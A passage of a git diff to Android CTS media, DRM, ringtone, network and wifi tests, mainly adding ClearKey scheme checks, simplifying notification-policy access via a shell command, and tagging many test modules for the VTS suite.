diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index bb1a501..cc6f186 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -458,13 +458,27 @@
      * Tests {@link MediaSession.QueueItem}.
      */
     public void testQueueItem() {
-        QueueItem item = new QueueItem(new MediaDescription.Builder()
-                .setMediaId("media-id").setTitle("title").build(), TEST_QUEUE_ID);
+        MediaDescription.Builder descriptionBuilder = new MediaDescription.Builder()
+                .setMediaId("media-id")
+                .setTitle("title");
+
+        QueueItem item = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
         assertEquals(TEST_QUEUE_ID, item.getQueueId());
         assertEquals("media-id", item.getDescription().getMediaId());
         assertEquals("title", item.getDescription().getTitle());
         assertEquals(0, item.describeContents());
 
+        QueueItem sameItem = new QueueItem(descriptionBuilder.build(), TEST_QUEUE_ID);
+        assertTrue(item.equals(sameItem));
+
+        QueueItem differentQueueId = new QueueItem(
+            descriptionBuilder.build(), TEST_QUEUE_ID + 1);
+        assertFalse(item.equals(differentQueueId));
+
+        QueueItem differentDescription = new QueueItem(
+            descriptionBuilder.setTitle("title2").build(), TEST_QUEUE_ID);
+        assertFalse(item.equals(differentDescription));
+
         Parcel p = Parcel.obtain();
         item.writeToParcel(p, 0);
         p.setDataPosition(0);
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 4a7b7af..45b2b8b 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -53,8 +53,10 @@
         "llama_h264_main_720p_8000.mp4");
 
     private static final int UUID_BYTE_SIZE = 16;
-    private static final UUID CLEARKEY_SCHEME_UUID =
+    private static final UUID COMMON_PSSH_SCHEME_UUID =
             new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
     private static final UUID BAD_SCHEME_UUID =
             new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
     private MediaCodecClearKeyPlayer mMediaCodecPlayer;
@@ -111,6 +113,7 @@
     }
 
     public void testIsCryptoSchemeSupported() throws Exception {
+        assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
         assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
     }
 
@@ -119,19 +122,39 @@
     }
 
     public void testPssh() throws Exception {
-        assertTrue(testPsshNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+        // The test uses a canned PSSH that contains the common box UUID.
+        assertTrue(testPsshNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
                 CENC_CLEARKEY_VIDEO_URL.toString()));
     }
 
+    public void testQueryKeyStatus() throws Exception {
+        assertTrue(testQueryKeyStatusNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
+    }
+
     public void testGetPropertyString() throws Exception {
         StringBuffer value = new StringBuffer();
+        testGetPropertyStringNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID), "description", value);
+        assertEquals("ClearKey CDM", value.toString());
+
+        value.delete(0, value.length());
         testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
         assertEquals("ClearKey CDM", value.toString());
     }
 
     public void testUnknownPropertyString() throws Exception {
+        StringBuffer value = new StringBuffer();
+
         try {
-            StringBuffer value = new StringBuffer();
+            testGetPropertyStringNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
+                    "unknown-property", value);
+            fail("Should have thrown an exception");
+        } catch (RuntimeException e) {
+            Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
+            assertThat(e.getMessage(), containsString("get property string returns"));
+        }
+
+        value.delete(0, value.length());
+        try {
             testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
                     "unknown-property", value);
         } catch (RuntimeException e) {
@@ -144,10 +167,10 @@
      * Tests native clear key system playback.
      */
     private void testClearKeyPlayback(
-            String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
+            UUID drmSchemeUuid, String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
             int videoWidth, int videoHeight) throws Exception {
 
-        if (!isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID))) {
+        if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
             throw new Error("Crypto scheme is not supported.");
         }
 
@@ -185,7 +208,7 @@
         params.videoUrl = videoUrl.toString();
 
         if (!testClearKeyPlaybackNative(
-            uuidByteArray(CLEARKEY_SCHEME_UUID), params)) {
+            uuidByteArray(drmSchemeUuid), params)) {
             Log.e(TAG, "Fails play back using native media drm APIs.");
         }
         params.surface.release();
@@ -211,11 +234,23 @@
 
     private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
 
+    private static native boolean testQueryKeyStatusNative(final byte[] uuid);
+
     public void testClearKeyPlaybackCenc() throws Exception {
         testClearKeyPlayback(
-                ISO_BMFF_VIDEO_MIME_TYPE,
-                CENC_AUDIO_URL,
-                CENC_CLEARKEY_VIDEO_URL,
-                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+            COMMON_PSSH_SCHEME_UUID,
+            ISO_BMFF_VIDEO_MIME_TYPE,
+            CENC_AUDIO_URL,
+            CENC_CLEARKEY_VIDEO_URL,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+    }
+
+    public void testClearKeyPlaybackCenc2() throws Exception {
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
+            ISO_BMFF_VIDEO_MIME_TYPE,
+            CENC_AUDIO_URL,
+            CENC_CLEARKEY_VIDEO_URL,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
     }
 }
diff --git a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
index 5f16bc5..b541a97 100644
--- a/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/ResourceManagerTest.java
@@ -17,8 +17,12 @@
 package android.media.cts;
 
 import android.os.Bundle;
+import android.platform.test.annotations.RequiresDevice;
+import android.support.test.filters.SmallTest;
 import android.test.ActivityInstrumentationTestCase2;
 
+@SmallTest
+@RequiresDevice
 public class ResourceManagerTest
         extends ActivityInstrumentationTestCase2<ResourceManagerStubActivity> {
 
diff --git a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
index 3dff5bf..8ac3f27 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
@@ -15,6 +15,7 @@
  */
 package android.media.cts;
 
+import android.app.ActivityManager;
 import android.media.cts.R;
 
 
@@ -63,31 +64,36 @@
         mDefaultUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
                 RingtoneManager.TYPE_RINGTONE);
 
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mAudioManager.adjustStreamVolume(AudioManager.STREAM_RING, AudioManager.ADJUST_RAISE,
-                    AudioManager.FLAG_ALLOW_RINGER_MODES);
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
+        if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_SILENT
+                && !ActivityManager.isLowRamDeviceStatic()) {
+            try {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true);
+                mAudioManager.adjustStreamVolume(AudioManager.STREAM_RING,
+                        AudioManager.ADJUST_RAISE,
+                        AudioManager.FLAG_ALLOW_RINGER_MODES);
+            } finally {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false);
+            }
         }
-
     }
 
     @Override
     protected void tearDown() throws Exception {
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // restore original ringer settings
-            if (mAudioManager != null) {
-                mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
-                        AudioManager.FLAG_ALLOW_RINGER_MODES);
+        if (!ActivityManager.isLowRamDeviceStatic()) {
+            try {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true);
+                // restore original ringer settings
+                if (mAudioManager != null) {
+                    mAudioManager.setStreamVolume(AudioManager.STREAM_RING, mOriginalVolume,
+                            AudioManager.FLAG_ALLOW_RINGER_MODES);
+                }
+            } finally {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false);
             }
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
         }
         RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
                 mDefaultUri);
diff --git a/tests/tests/media/src/android/media/cts/RingtoneTest.java b/tests/tests/media/src/android/media/cts/RingtoneTest.java
index 31ae5bb..092ac0b 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneTest.java
@@ -16,6 +16,7 @@
 
 package android.media.cts;
 
+import android.app.ActivityManager;
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -52,17 +53,26 @@
 
         int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_RING);
 
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // set ringer to a reasonable volume
+        if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_VIBRATE) {
+            mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
             mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
                     AudioManager.FLAG_ALLOW_RINGER_MODES);
-            // make sure that we are not in silent mode
-            mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
+        } else if (mAudioManager.getRingerMode() == AudioManager.RINGER_MODE_NORMAL) {
+            mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+                    AudioManager.FLAG_ALLOW_RINGER_MODES);
+        } else if (!ActivityManager.isLowRamDeviceStatic()) {
+            try {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true);
+                // set ringer to a reasonable volume
+                mAudioManager.setStreamVolume(AudioManager.STREAM_RING, maxVolume / 2,
+                        AudioManager.FLAG_ALLOW_RINGER_MODES);
+                // make sure that we are not in silent mode
+                mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            } finally {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false);
+            }
         }
 
         mDefaultRingUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
@@ -88,7 +98,7 @@
             if (mRingtone.isPlaying()) mRingtone.stop();
             mRingtone.setStreamType(mOriginalStreamType);
         }
-        if (mAudioManager != null) {
+        if (mAudioManager != null && !ActivityManager.isLowRamDeviceStatic()) {
             try {
                 Utils.toggleNotificationPolicyAccess(
                         mContext.getPackageName(), getInstrumentation(), true);
diff --git a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
index 9f90a75..72ec8a9 100644
--- a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
+++ b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
@@ -62,6 +62,14 @@
     }
 
     @Override
+    public void onDestroy() {
+        super.onDestroy();
+        sSession.release();
+        sInstance = null;
+        sSession = null;
+    }
+
+    @Override
     public BrowserRoot onGetRoot(String clientPackageName, int clientUid, Bundle rootHints) {
         mExtras = new Bundle();
         mExtras.putString(EXTRAS_KEY, EXTRAS_VALUE);
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index 33cc1b7..211aa4e 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java
@@ -17,6 +17,7 @@
 package android.media.cts;
 
 import android.app.Instrumentation;
+import android.app.NotificationManager;
 import android.app.UiAutomation;
 import android.content.ContentResolver;
 import android.content.Context;
@@ -88,57 +89,10 @@
     protected static void toggleNotificationPolicyAccess(String packageName,
             Instrumentation instrumentation, boolean on) throws IOException {
 
-        // Read the setting listing the package allowed to manage notification policy configuration
-        String alreadyEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
-
-        // The property is a list of : separated package
-        List<String> enabledServices = Lists.newArrayList(alreadyEnabledServices.split(":"));
-
-        // Actually add or remove the package from the list
-        if (on) {
-            // Only add the package if it is not already in the list
-            if (!enabledServices.contains(packageName)) {
-                enabledServices.add(packageName);
-                setNotificationPolicyAccessPackages(enabledServices, instrumentation);
-            }
-        } else {
-            // Remove all instance of the package in the list
-            if (enabledServices.removeIf(packageName::equals)) {
-                // Only update the settings if there was a change
-                setNotificationPolicyAccessPackages(enabledServices, instrumentation);
-            }
-        }
-    }
-
-    /** Read the setting listing the package allowed to manage notification policy configuration */
-    private static String querryNotificationPolicyAccessPakages(Instrumentation instrumentation) {
-        ContentResolver cr = instrumentation.getContext().getContentResolver();
-        String enabledService = Settings.Secure.getString(
-                cr,Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
-
-        // A non existing property is equivalent to no package listed
-        if (enabledService == null) {
-            enabledService = "";
-        }
-        return enabledService;
-    }
-
-    private static void setNotificationPolicyAccessPackages(final List<String> enabledServicesList,
-            final Instrumentation instrumentation) throws IOException {
-        // Format the list back to a string
-        String enabledServices = String.join(":", enabledServicesList);
-
-        // If the list is empty, remove the property by setting it to null
-        String enabledServicesStrOrNull = enabledServices.isEmpty() ? "null" : enabledServices;
-
-        // Write back the property to the settings database
-        String command = "settings --user cur put secure "
-                + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + "  "
-                + enabledServicesStrOrNull;
+        String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
 
         // Get permission to enable accessibility
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
-
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
             Assert.assertNotNull("Failed to execute shell command: " + command, fd);
@@ -153,11 +107,10 @@
             uiAutomation.destroy();
         }
 
-        // Read the settings again to make sure it is updated
-        String nowEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
-        Assert.assertEquals("Wrote setting should be the same as the read one",
-                enabledServices, nowEnabledServices);
-
+        NotificationManager nm = (NotificationManager) instrumentation.getContext()
+                .getSystemService(Context.NOTIFICATION_SERVICE);
+        Assert.assertEquals("Wrote setting should be the same as the read one", on,
+                nm.isNotificationPolicyAccessGranted());
     }
 
     /**
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 55e7a3a..0213c00 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/mediastress/AndroidTest.xml b/tests/tests/mediastress/AndroidTest.xml
index aedab9a..6cc1dd4 100644
--- a/tests/tests/mediastress/AndroidTest.xml
+++ b/tests/tests/mediastress/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="package" value="android.mediastress.cts" />
         <!-- test-timeout unit is ms, value = 30 min -->
         <option name="test-timeout" value="1800000" />
+        <option name="ajur-max-shard" value="2" />
         <option name="runtime-hint" value="3h" />
     </test>
 </configuration>
diff --git a/tests/tests/mediastress/jni/Android.mk b/tests/tests/mediastress/jni/Android.mk
index 164e302..6756bc3 100644
--- a/tests/tests/mediastress/jni/Android.mk
+++ b/tests/tests/mediastress/jni/Android.mk
@@ -29,4 +29,6 @@
 LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libOpenMAXAL
 LOCAL_CXX_STL := libc++_static
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index 4192e5d..cefe3cc 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index e85fed2..992b5fe 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
index 065f5d2..38688be 100644
--- a/tests/tests/nativehardware/Android.mk
+++ b/tests/tests/nativehardware/Android.mk
@@ -71,7 +71,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index 79a26e3..2f64131 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -41,7 +41,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CFLAGS := -Werror -Wall
 
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
index 6e6dc2f..fd67644 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
@@ -76,10 +76,6 @@
     // AAUDIO_POLICY_ALWAYS is only for testing during development.
     // It forces MMAP mode for all streams, which will fail for some stream settings.
     EXPECT_NE(AAUDIO_POLICY_ALWAYS, policy);
-
-    // TODO This part should be removed in OC-MR1 or later.
-    // MMAP should not be enabled before OC-MR1
-    EXPECT_NE(AAUDIO_POLICY_AUTO, policy);
 }
 
 // Link to test functions in shared library.
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index 2e99354..7d0edeb 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -42,7 +42,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.nativemedia.sl
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CFLAGS := -Werror -Wall
 
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index 1a9fe43..c11c10e 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -41,6 +41,6 @@
 LOCAL_CTS_TEST_PACKAGE := android.nativemedia.xa
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index 47f45c9..c355fa0 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 09ea38d..c6e6ab6 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -47,7 +47,7 @@
 #LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/net/appForApi23/Android.mk b/tests/tests/net/appForApi23/Android.mk
index 6c868ec..7461c15 100644
--- a/tests/tests/net/appForApi23/Android.mk
+++ b/tests/tests/net/appForApi23/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := 23
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/net/jni/Android.mk b/tests/tests/net/jni/Android.mk
index 0ec8d28..887e95e 100644
--- a/tests/tests/net/jni/Android.mk
+++ b/tests/tests/net/jni/Android.mk
@@ -27,6 +27,9 @@
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_CXX_STL := libc++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
 
 include $(CLEAR_VARS)
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
index b3eb28b..6c92b5c 100644
--- a/tests/tests/net/native/qtaguid/Android.mk
+++ b/tests/tests/net/native/qtaguid/Android.mk
@@ -36,7 +36,7 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.net.native
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
 
 LOCAL_CFLAGS := -Werror -Wall
 
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 9f54c8e..c885942 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -37,6 +37,7 @@
 import android.net.NetworkInfo.State;
 import android.net.NetworkRequest;
 import android.net.wifi.WifiManager;
+import android.os.Looper;
 import android.os.SystemProperties;
 import android.system.Os;
 import android.system.OsConstants;
@@ -110,6 +111,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        Looper.prepare();
         mContext = getContext();
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
@@ -279,11 +281,10 @@
     }
 
     private boolean isSupported(int networkType) {
-        // Change-Id I02eb5f22737720095f646f8db5c87fd66da129d6 added VPN support
-        // to all devices directly in software, independent of any external
-        // configuration.
         return mNetworks.containsKey(networkType) ||
-               (networkType == ConnectivityManager.TYPE_VPN);
+               (networkType == ConnectivityManager.TYPE_VPN) ||
+               (networkType == ConnectivityManager.TYPE_ETHERNET &&
+                       mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
     }
 
     public void testIsNetworkSupported() {
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 3f25817..7e2acd7 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -78,6 +78,10 @@
     private static final String SSID2 = "\"WifiManagerTestModified\"";
     private static final String PROXY_TEST_SSID = "SomeProxyAp";
     private static final String ADD_NETWORK_EXCEPTION_SUBSTR = "addNetwork";
+    // A full single scan duration is about 6-7 seconds if country code is set
+    // to US. If country code is set to world mode (00), we would expect a scan
+    // duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
+    private static final int SCAN_TIMEOUT_MSEC = 9000;
     private static final int TIMEOUT_MSEC = 6000;
     private static final int WAIT_MSEC = 60;
     private static final int DURATION = 10000;
@@ -203,7 +207,7 @@
             mMySync.expectedState = STATE_SCANNING;
             mScanResults = null;
             assertTrue(mWifiManager.startScan());
-            long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+            long timeout = System.currentTimeMillis() + SCAN_TIMEOUT_MSEC;
             while (System.currentTimeMillis() < timeout && mMySync.expectedState == STATE_SCANNING)
                 mMySync.wait(WAIT_MSEC);
         }
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index c206b76..4c68423 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficFalse
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index ab95129..584afd2 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficTrue
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 4e80528..9a613e7 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -33,7 +33,7 @@
 LOCAL_INSTRUMENTATION_FOR := CtsNetSecPolicyUsesCleartextTrafficUnspecified
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
index d2ddb27..10018ce 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res/
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index efec701..e6ee7c6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS CtsNetSecConfigAttributeTestCases test cases">
     <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecConfigAttributeTestCases.apk" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
index 716fecf..161dbd3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.mk
@@ -28,7 +28,7 @@
